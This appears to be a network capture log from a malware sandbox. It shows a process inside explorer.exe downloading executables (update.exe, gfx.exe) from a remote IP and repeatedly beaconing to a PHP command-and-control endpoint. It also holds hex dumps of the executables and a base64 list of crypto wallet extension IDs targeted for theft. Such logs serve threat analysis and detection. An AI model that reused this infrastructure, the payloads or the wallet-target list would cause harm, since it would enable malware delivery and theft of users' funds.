Dec 13, 2024 08:19:00.225456953 CET	896	IN	Data Raw: cc 4f 83 cc 34 5c 68 34 a5 f4 51 a5 e5 34 d1 e5 f1 08 f9 f1 71 93 e2 71 d8 73 ab d8 31 53 62 31 15 3f 2a 15 04 0c 08 04 c7 52 95 c7 23 65 46 23 c3 5e 9d c3 18 28 30 18 96 a1 37 96 05 0f 0a 05 9a b5 2f 9a 07 09 0e 07 12 36 24 12 80 9b 1b 80 e2 3d Data Ascii: O4\h4Q4qqs1Sb1?R#eF#^(07/6$=&'iN'uu,tX,.4-6nnZZ[RR;Mv;a}){R)>/q^/SSh, `@ y[[jjFg9Kr9JJLLXXJkO
Dec 13, 2024 08:19:00.225629091 CET	1236	IN	Data Raw: 43 00 6d 00 5a 00 75 00 61 00 6d 00 68 00 74 00 61 00 32 00 68 00 6f 00 62 00 57 00 74 00 69 00 61 00 6d 00 74 00 72 00 59 00 57 00 4a 00 75 00 5a 00 47 00 4e 00 75 00 62 00 6d 00 39 00 6e 00 59 00 57 00 64 00 76 00 5a 00 32 00 4a 00 75 00 5a 00 Data Ascii: CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV0CmFpaWZibmJmb2JwbWVla2lwaGVlaWppbWRwbmxwZ3BwfFRlcnJhU3RhdGlvbg
Dec 13, 2024 08:19:00.225641012 CET	1236	IN	Data Raw: 68 00 75 00 5a 00 57 00 64 00 70 00 62 00 57 00 35 00 38 00 54 00 47 00 6c 00 78 00 64 00 57 00 46 00 73 00 61 00 58 00 52 00 35 00 56 00 32 00 46 00 73 00 62 00 47 00 56 00 30 00 43 00 6d 00 68 00 74 00 5a 00 57 00 39 00 69 00 62 00 6d 00 5a 00 Data Ascii: huZWdpbW58TGlxdWFsaXR5V2FsbGV0CmhtZW9ibmZuZmNtZGtkY21sYmxnYWdtZnBmYm9pZWFmfFhkZWZpV2FsbGV0CmxwZmNiamtuaWpwZWVpbGxpZm5raWtn
Dec 13, 2024 08:19:00.345211983 CET	1236	IN	Data Raw: 46 00 6e 00 62 00 57 00 5a 00 77 00 5a 00 6d 00 4a 00 76 00 61 00 57 00 56 00 68 00 5a 00 6e 00 78 00 59 00 5a 00 47 00 56 00 6d 00 61 00 56 00 64 00 68 00 62 00 47 00 78 00 6c 00 64 00 41 00 70 00 73 00 63 00 47 00 5a 00 6a 00 59 00 6d 00 70 00 Data Ascii: FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49755	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:01.415565014 CET	235	OUT	GET /update.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 13, 2024 08:19:02.743599892 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 05:53:20 GMT ETag: "4b400-6290c54e671ba" Accept-Ranges: bytes Content-Length: 308224 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 5c b7 69 25 3d d9 3a 25 3d d9 3a 25 3d d9 3a 2c 45 4a 3a 26 3d d9 3a 25 3d d8 3a 26 3d d9 3a 4a 4b 72 3a 2d 3d d9 3a 4a 4b 43 3a 24 3d d9 3a 4a 4b 44 3a 24 3d d9 3a 52 69 63 68 25 3d d9 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 3c 7a 5a 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 3a 00 00 00 2a 00 00 00 00 00 00 5c 34 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$a\i%=:%=:%=:,EJ:&=:%=:&=:JKr:-=:JKC:$=:JKD:$=:Rich%=:PEd<zZg":*\4@@@h((@P .text9: `.rdataP>@@.datap@.pdata@X@@.rsrc(\@@.x64`T`
Dec 13, 2024 08:19:02.743619919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 89 Data Ascii: HT$HL$H8HL$@?HD$(HT$HHL$(?HD$ HD$ H8HT$HL$H8HL$@7`HD$(HT$HHL$(*`HD$ HD$ H8H
Dec 13, 2024 08:19:02.743634939 CET	1236	IN	Data Raw: 88 41 00 00 48 8d 0d 99 41 00 00 e8 bc fb ff ff 48 89 05 85 5d 00 00 48 8d 15 96 41 00 00 48 8d 0d a7 41 00 00 e8 a2 fb ff ff 48 89 05 83 5e 00 00 48 8d 15 a4 41 00 00 48 8d 0d ad 41 00 00 e8 88 fb ff ff 48 89 05 71 5e 00 00 48 8d 15 aa 41 00 00 Data Ascii: AHAH]HAHAH^HAHAHq^HAHAnH_^HAHATHM^HAHA:H;^HAHA H)^HAHAH^HAHAH^HAHA
Dec 13, 2024 08:19:02.743649006 CET	672	IN	Data Raw: ff ff 48 89 05 1f 58 00 00 48 8d 15 58 43 00 00 48 8d 0d 61 43 00 00 e8 dc f6 ff ff 48 89 05 15 58 00 00 48 8d 15 5e 43 00 00 48 8d 0d 67 43 00 00 e8 c2 f6 ff ff 48 89 05 03 58 00 00 48 8d 15 64 43 00 00 48 8d 0d 6d 43 00 00 e8 a8 f6 ff ff 48 89 Data Ascii: HXHXCHaCHXH^CHgCHXHdCHmCHWHjCHsCHWHpCHyCtHWHvCHCZHWHCHC@HWHCHC&HXHCHCHW
Dec 13, 2024 08:19:02.743664980 CET	1236	IN	Data Raw: 00 e8 52 f4 ff ff 48 89 05 2b 56 00 00 48 8d 15 54 44 00 00 48 8d 0d 5d 44 00 00 e8 e8 f3 ff ff 48 89 05 e1 57 00 00 48 8d 15 5a 44 00 00 48 8d 0d 63 44 00 00 e8 ce f3 ff ff 48 89 05 cf 57 00 00 48 8d 15 60 44 00 00 48 8d 0d 69 44 00 00 e8 04 f4 Data Ascii: RH+VHTDH]DHWHZDHcDHWH`DHiDHVHfDHoDHVHlDHuDHUHrDH{DHUHxDHDHUH~DHDHT3HHLD$HT$HL$
Dec 13, 2024 08:19:02.743679047 CET	1236	IN	Data Raw: 89 84 24 40 01 00 00 48 8d 84 24 42 01 00 00 48 8b f8 33 c0 b9 06 02 00 00 f3 aa c6 84 24 18 01 00 00 00 8b 84 24 b0 0a 00 00 89 84 24 90 0a 00 00 83 bc 24 90 0a 00 00 00 74 16 83 bc 24 90 0a 00 00 01 74 2a 83 bc 24 90 0a 00 00 03 74 3e eb 5a 45 Data Ascii: $@H$BH3$$$$t$t*$t>ZE3H$@V$AE3H$@x$#E3H$@$$uH$ HD$HH$HD$@HD$8HD$0D$(
Dec 13, 2024 08:19:02.743701935 CET	1236	IN	Data Raw: 00 00 e9 2f ff ff ff 48 c7 44 24 58 00 00 00 00 48 8b 84 24 f0 00 00 00 48 8b 40 30 48 8b 8c 24 10 01 00 00 48 2b c8 48 8b c1 48 89 44 24 58 48 8b 84 24 f0 00 00 00 48 8b 8c 24 10 01 00 00 48 89 48 30 c7 84 24 54 0a 00 00 00 00 00 00 eb 10 8b 84 Data Ascii: /HD$XH$H@0H$H+HHD$XH$H$HH0$T$T$TH$@9$THD$pHc@<HL$`HHHc$THk(HH$AH~<H$LHtH$@$\H$HH$`
Dec 13, 2024 08:19:02.743717909 CET	1236	IN	Data Raw: eb 07 e9 71 ff ff ff 33 c0 48 83 c4 28 c3 cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 68 48 c7 44 24 38 00 00 00 00 48 c7 44 24 48 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 c7 44 24 50 00 00 00 00 48 c7 44 24 40 00 00 00 00 c7 44 24 20 00 00 00 00 Data Ascii: q3H(HL$HhHD$8HD$HHD$(HD$PHD$@D$ D$0HD$pHD$8HD$8Hc@<HL$8HHHD$HHD$H@=u\|$0t3'HD$H@=u\|$0t3t3kHD$HHHD$(HT$8HD$(HL$8HHH
Dec 13, 2024 08:19:02.743732929 CET	1236	IN	Data Raw: 01 00 00 00 eb 42 ff 15 ec 43 00 00 3d b7 00 00 00 75 1d 48 8b 4c 24 20 ff 15 e2 43 00 00 48 8b 4c 24 20 ff 15 8f 41 00 00 b8 01 00 00 00 eb 18 48 8b 4c 24 20 ff 15 c5 43 00 00 48 8b 4c 24 20 ff 15 72 41 00 00 33 c0 48 83 c4 38 c3 cc cc cc cc cc Data Ascii: BC=uHL$ CHL$ AHL$ CHL$ rA3H8HL$HXH$@D$ HFODHL$0Hn3HD$(L2DHo3HL$0HRFDAH@FGDCH&FB
Dec 13, 2024 08:19:02.743748903 CET	1236	IN	Data Raw: 2b 83 7c 24 24 06 72 0e 83 7c 24 24 06 75 0b 83 7c 24 28 01 73 04 b0 01 eb 14 83 7c 24 24 06 75 0b 83 7c 24 28 01 75 04 b0 01 eb 02 32 c0 48 81 c4 40 01 00 00 5f c3 cc cc cc cc cc cc cc cc cc 48 81 ec 78 02 00 00 e8 38 dc ff ff e8 af fd ff ff 0f Data Ascii: +\|$$r\|$$u\|$(s\|$$u\|$(u2H@_Hx8t3?D$0T$0HL$@MH/HL$@ltOH;uH/t3<3tP<3<H/HL$@t
Dec 13, 2024 08:19:02.863626957 CET	1236	IN	Data Raw: fe ff ff 48 8b 84 24 90 00 00 00 48 89 44 24 20 45 33 c9 45 33 c0 ba 1a 00 00 00 33 c9 ff 15 ed 36 00 00 48 8d 15 22 2c 00 00 48 8b 8c 24 90 00 00 00 ff 15 c8 3a 00 00 48 8d 54 24 30 48 8b 8c 24 90 00 00 00 ff 15 b5 3a 00 00 33 d2 48 8b 8c 24 90 Data Ascii: H$HD$ E3E336H",H$:HT$0H$:3H$58H$:H+H$}:HT$0H$j:H+H$U:H_HT$HL$WH@HD$0HD$ AE3H+H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49761	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:03.869198084 CET	232	OUT	GET /gfx.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 13, 2024 08:19:05.196091890 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 07:53:47 GMT ETag: "6bc00-6290e03a93110" Accept-Ranges: bytes Content-Length: 441344 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8b 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 fa 04 00 00 00 02 00 00 00 00 00 aa a6 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PELZg@0@FE88@<.textz `.rdataIJ@@.datam`,H@.rsrct@@.relocEFv@B
Dec 13, 2024 08:19:05.196140051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 60 Data Ascii: h`DYhDYj hEdnF6hDYj hEtF5h DYjhETuF5hDYj h$EoF5hDyYjh
Dec 13, 2024 08:19:05.196156025 CET	1236	IN	Data Raw: d3 45 00 b9 fc 72 46 00 e8 af 31 02 00 68 e0 de 44 00 e8 79 8f 02 00 59 c3 cc cc cc 6a 04 68 24 d3 45 00 b9 0c 72 46 00 e8 8f 31 02 00 68 40 df 44 00 e8 59 8f 02 00 59 c3 cc cc cc 6a 04 68 2c d3 45 00 b9 78 77 46 00 e8 6f 31 02 00 68 a0 df 44 00 Data Ascii: ErF1hDyYjh$ErF1h@DYYjh,ExwFo1hD9Yjh4EsFO1hDYjh<EhxF/1h`DYjhDE<uF1hDYjhLElF0h DYjhTElF0hD
Dec 13, 2024 08:19:05.196275949 CET	1236	IN	Data Raw: 8a 02 00 59 c3 cc cc cc 6a 08 68 fc d4 45 00 b9 40 79 46 00 e8 cf 2c 02 00 68 80 ed 44 00 e8 99 8a 02 00 59 c3 cc cc cc 6a 14 68 08 d5 45 00 b9 04 77 46 00 e8 af 2c 02 00 68 e0 ed 44 00 e8 79 8a 02 00 59 c3 cc cc cc 6a 10 68 20 d5 45 00 b9 54 6c Data Ascii: YjhE@yF,hDYjhEwF,hDyYjh ETlF,h@DYYjh4EoFo,hD9Yjh<EqFO,hDYjhXEnF/,h`DYjhlEqF,hDYjhxErF
Dec 13, 2024 08:19:05.196290970 CET	1236	IN	Data Raw: e8 0f 28 02 00 68 c0 fb 44 00 e8 d9 85 02 00 59 c3 cc cc cc 6a 04 68 78 d9 45 00 b9 e4 75 46 00 e8 ef 27 02 00 68 20 fc 44 00 e8 b9 85 02 00 59 c3 cc cc cc 6a 04 68 80 d9 45 00 b9 d4 6d 46 00 e8 cf 27 02 00 68 80 fc 44 00 e8 99 85 02 00 59 c3 cc Data Ascii: (hDYjhxEuF'h DYjhEmF'hDYjhEmF'hDyYjhEtF'h@DYYjhEtFo'hD9Yj hEuFO'hDYjhE,pF/'h`DY
Dec 13, 2024 08:19:05.196306944 CET	1236	IN	Data Raw: 59 c3 68 66 08 45 00 e8 08 81 02 00 59 c3 cc cc 55 8b ec 56 8b 75 0c 85 f6 75 05 33 c0 5e 5d c3 85 c9 75 18 e8 29 f3 02 00 c7 00 16 00 00 00 e8 d5 d0 02 00 b8 16 00 00 00 5e 5d c3 57 8b 7d 08 85 ff 74 19 81 fe d0 07 00 00 77 11 56 57 51 e8 6c 91 Data Ascii: YhfEYUVuu3^]u)^]W}twVWQl3_^]hjQu_^]v"g_"^]pFUujujQpQeH]
Dec 13, 2024 08:19:05.196322918 CET	1236	IN	Data Raw: 41 04 56 8b 75 08 8b 56 04 3b 42 04 75 0e 8b 06 3b 45 0c 75 07 b0 01 5e 5d c2 08 00 32 c0 5e 5d c2 08 00 cc cc cc cc cc cc cc cc cc c7 01 01 00 00 00 8b c1 c7 41 04 ac 6b 46 00 c3 53 8b dc 83 ec 08 83 e4 f8 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec Data Ascii: AVuV;Bu;Eu^]2^]AkFSUkl$jhDdPSX$aF3EVWPEd}CMP}CsEEMtDU+r AE: ECEfDjhxEEMuj/uMQ
Dec 13, 2024 08:19:05.196495056 CET	1236	IN	Data Raw: 00 8b 75 08 89 75 ec c7 45 fc 00 00 00 00 ff 76 10 8b 46 0c ff d0 56 c7 45 fc 02 00 00 00 e8 1d 57 02 00 6a 14 56 e8 56 77 02 00 83 c4 10 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b 4d f0 33 cd e8 c4 70 02 00 8b e5 5d c3 55 8b ec 83 ec 10 56 6a 14 e8 Data Ascii: uuEvFVEWjVVwMdY^M3p]UVjtMEWVuFF,@vNFVu^]Q(hEM[hDFEPUjhDdPV$aF3PEdVE
Dec 13, 2024 08:19:05.196549892 CET	1236	IN	Data Raw: 00 50 e8 10 5e 02 00 50 e8 0a 5e 02 00 0f 1f 00 69 31 40 00 69 31 40 00 69 31 40 00 69 31 40 00 cc cc cc cc 55 8b ec 6a ff 68 80 8c 44 00 64 a1 00 00 00 00 50 51 56 a1 24 61 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 8b 0e 85 c9 74 10 83 c8 Data Ascii: P^P^i1@i1@i1@i1@UjhDdPQV$aF3PEdtAHuPMdY^]UjhDdPV$aF3PEduuEPjMdY^]UEVXEtjVq
Dec 13, 2024 08:19:05.196566105 CET	1236	IN	Data Raw: 04 50 e8 a4 4b 02 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c3 e8 aa bd 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 56 8b f1 e8 04 fd 01 00 85 c0 75 08 8d 50 01 e8 c8 14 02 00 83 ec 08 8d 46 04 8b cc 50 e8 Data Ascii: PKMdY^]UQVuPFPUSM]]VCCCQAU;t-W+KEWsusuV}K_^[]UVWMw;tCA+
Dec 13, 2024 08:19:05.316378117 CET	1236	IN	Data Raw: 74 36 8b 5d e8 8d 7e 50 53 e8 99 58 02 00 83 c4 04 85 c0 0f 85 8f 00 00 00 83 7f 64 02 7d 10 53 57 e8 f5 4b 02 00 83 c4 08 83 7f 64 02 7c f0 53 e8 97 58 02 00 83 c4 04 83 7e 0c 00 8d 4e 0c 75 6d 8b 4e 04 33 c0 83 f9 04 0f 94 c0 40 8b 4d f4 64 89 Data Ascii: t6]~PSXd}SWKd\|SX~NumN3@MdY_^[]PTPTuu MPE/MEsNPSUjhDdP(SVW$aF3PEdE}M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49768	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:06.757635117 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:06.877407074 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:08.212950945 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49773	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:08.460688114 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:08.580501080 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:09.900758028 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49779	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:10.136650085 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:10.258452892 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:11.606226921 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49785	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:11.836623907 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:11.956605911 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:13.432131052 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49791	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:13.724195957 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:13.846744061 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:15.287345886 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49793	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:15.523392916 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:15.644877911 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:17.122733116 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49798	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:17.351145983 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:17.471020937 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:18.837704897 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49804	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:19.071274996 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:19.191257954 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:20.711608887 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49810	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:20.945025921 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:21.064807892 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:22.541472912 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49812	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:22.806682110 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:22.927994967 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
